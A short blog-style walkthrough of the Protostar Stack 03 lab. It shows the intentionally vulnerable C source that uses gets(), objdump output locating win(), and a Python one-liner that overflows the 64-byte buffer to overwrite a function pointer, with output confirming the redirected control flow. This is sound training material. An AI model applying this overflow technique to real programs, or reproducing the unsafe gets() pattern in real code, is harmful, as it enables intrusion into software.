Protostar - Stack 03

May 12, 2018

Let’s start by looking at the source code of the challenge.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

As you can see we have additional win() function that we have to call. In the main we have function pointer fp and buffer. As the pointer in the code is assigned 0, no function is called. But what will happen if we would assign win to fp? Then in fp();, the function would be called.

In order to complete that, we have to find the address of the win() function. We can do this in both gdb and objdump, but in this task objdump will be faster.

$ objdump -d stack3

stack3:     file format elf32-i386

08048424 <win>:
 8048424:	55                   	push   %ebp
 8048425:	89 e5                	mov    %esp,%ebp
 8048427:	83 ec 18             	sub    $0x18,%esp
 804842a:	c7 04 24 40 85 04 08 	movl   $0x8048540,(%esp)
 8048431:	e8 2a ff ff ff       	call   8048360 <[email protected]>
 8048436:	c9                   	leave  
 8048437:	c3                   	ret    

08048438 <main>:
 8048438:	55                   	push   %ebp
 8048439:	89 e5                	mov    %esp,%ebp
 804843b:	83 e4 f0             	and    $0xfffffff0,%esp
 804843e:	83 ec 60             	sub    $0x60,%esp
 8048441:	c7 44 24 5c 00 00 00 	movl   $0x0,0x5c(%esp)
 8048448:	00
 8048449:	8d 44 24 1c          	lea    0x1c(%esp),%eax
 804844d:	89 04 24             	mov    %eax,(%esp)
 8048450:	e8 db fe ff ff       	call   8048330 <[email protected]>
 8048455:	83 7c 24 5c 00       	cmpl   $0x0,0x5c(%esp)
 804845a:	74 1b                	je     8048477 <main+0x3f>
 804845c:	b8 60 85 04 08       	mov    $0x8048560,%eax
 8048461:	8b 54 24 5c          	mov    0x5c(%esp),%edx
 8048465:	89 54 24 04          	mov    %edx,0x4(%esp)
 8048469:	89 04 24             	mov    %eax,(%esp)
 804846c:	e8 df fe ff ff       	call   8048350 <printf@plt>
 8048471:	8b 44 24 5c          	mov    0x5c(%esp),%eax
 8048475:	ff d0                	call   *%eax
 8048477:	c9                   	leave  
 8048478:	c3                   	ret    
 8048479:	90                   	nop
 804847a:	90                   	nop
 804847b:	90                   	nop
 804847c:	90                   	nop
 804847d:	90                   	nop
 804847e:	90                   	nop
 804847f:	90                   	nop

Some of the output is omitted for clearability, here we have the most important information - 08048424 <win> - that’s our address 08048424. Now we have to pass this to the binary, together with 64 bytes that will fill the buffer.

 $ python -c 'print("A" * 64 + "\x24\x84\x04\x08")' | ./stack3
 calling function pointer, jumping to 0x08048424
 code flow successfully changed

Contact

If you have any suggestions regarding this post or just want to chat together check out these ways to reach out to me.